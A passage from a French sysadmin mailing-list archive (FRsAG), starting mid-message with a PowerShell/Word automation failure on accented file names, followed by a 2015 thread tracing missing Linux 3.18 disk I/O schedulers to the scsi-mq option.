$null } avec un fichier deploiement_server.docx ça marche pour le même fichier avec le nom déploiement_server.docx ça marche pas (remarquer l'accent é dans déploiement) et j'ai l'erreur suivante Exception lors de l'appel de « Add » avec « 1 » argument(s) : « Fichier introuvable. » Au niveau de C:\Users\t.chichane\Desktop\modify_word.ps1 : 35 Caractère : 27 + $doc = $word.Documents.Add ($file1) + CategoryInfo : NotSpecified: (:) [], MethodInvocationException + FullyQualifiedErrorId : ComMethodTargetInvocation est ce que vous avez eu ce genre de problème et comment l'avez vous résolus. si vous avez une autre approche je suis très intéressé de l'entendre Tarik CHICHANE ___ Liste de diffusion du FRsAG http://www.frsag.org/ ___ Liste de diffusion du FRsAG http://www.frsag.org/ ___ Liste de diffusion du FRsAG http://www.frsag.org/ ___ Liste de diffusion du FRsAG http://www.frsag.org/ ___ Liste de diffusion du FRsAG http://www.frsag.org/
Re: [FRsAG] Linux >= 3.18 & scheduler disque
J'ai donc recompilé un 3.18.14 dans le doute (j'utilisais un 3.18.11 jusque là), et je viens de remarquer ça dans les logs : Jun 4 00:22:01 cache-rbx02 kernel: [0.689868] io scheduler noop registered Jun 4 00:22:01 cache-rbx02 kernel: [0.689870] io scheduler deadline registered Jun 4 00:22:01 cache-rbx02 kernel: [0.689884] io scheduler cfq registered (default) Mais pas mieux : cache-rbx02:~$ cat /sys/block/sd*/queue/scheduler none none none J'ajoute qu'il n'y a pas de carte RAID, et que j'ai le problème avec des HDD et avec des SSD. → /me retourne fouiller la conf du noyau. Le mercredi 03 juin 2015 à 09:39 +0200, Greg a écrit : > Bonjour, > > > que donnes cette commande ? > > > $ grep -A 20 CONFIG_IOSCHED_NOOP /boot/config > > > > > > Le 3 juin 2015 09:35, Olivier Bonvalet a > écrit : > Bah... le problème là c'est surtout qu'aucun scheduler ne > semble actif. > > > Le mercredi 03 juin 2015 à 09:26 +0200, Xavier Beaudouin a > écrit : > > Hello, > > > > elevator=deadline sur la ligne de commande grub. > > > > BTW the sched cfq c'est plutôt le seul a ne pas utiliser en > production... > > > > My 0,02€ > > > > > > ___ > Liste de diffusion du FRsAG > http://www.frsag.org/ > > > > > > -- > Greg > > ___ > Liste de diffusion du FRsAG > http://www.frsag.org/ ___ Liste de diffusion du FRsAG http://www.frsag.org/
Re: [FRsAG] Linux >= 3.18 & scheduler disque
Bon... trouvé : currently the scsi-mq is set to Y, since 3.18-rc1 merge. The option enables a feature that makes advantage of enterprise-class storage. It's known not to perform well on slower devices [1] and lacks scheduler support. Et effectivement, cette option a été activée... Donc pour info, pour le moment (3.18) le BLK-MQ implique l'absence de scheduler. Voilà voilà. Le jeudi 04 juin 2015 à 00:41 +0200, Olivier Bonvalet a écrit : > J'ai donc recompilé un 3.18.14 dans le doute (j'utilisais un 3.18.11 > jusque là), et je viens de remarquer ça dans les logs : > > Jun 4 00:22:01 cache-rbx02 kernel: [0.689868] io scheduler noop > registered > Jun 4 00:22:01 cache-rbx02 kernel: [0.689870] io scheduler deadline > registered > Jun 4 00:22:01 cache-rbx02 kernel: [0.689884] io scheduler cfq > registered (default) > > Mais pas mieux : > > cache-rbx02:~$ cat /sys/block/sd*/queue/scheduler > none > none > none > > J'ajoute qu'il n'y a pas de carte RAID, et que j'ai le problème avec des > HDD et avec des SSD. > > → /me retourne fouiller la conf du noyau. > > > > Le mercredi 03 juin 2015 à 09:39 +0200, Greg a écrit : > > Bonjour, > > > > > > que donnes cette commande ? > > > > > > $ grep -A 20 CONFIG_IOSCHED_NOOP /boot/config > > > > > > > > > > > > Le 3 juin 2015 09:35, Olivier Bonvalet a > > écrit : > > Bah... le problème là c'est surtout qu'aucun scheduler ne > > semble actif. > > > > > > Le mercredi 03 juin 2015 à 09:26 +0200, Xavier Beaudouin a > > écrit : > > > Hello, > > > > > > elevator=deadline sur la ligne de commande grub. > > > > > > BTW the sched cfq c'est plutôt le seul a ne pas utiliser en > > production... > > > > > > My 0,02€ > > > > > > > > > > ___ > > Liste de diffusion du FRsAG > > http://www.frsag.org/ > > > > > > > > > > > > -- > > Greg > > > > ___ > > Liste de diffusion du FRsAG > > http://www.frsag.org/ > > > ___ > Liste de diffusion du FRsAG > http://www.frsag.org/ ___ Liste de diffusion du FRsAG http://www.frsag.org/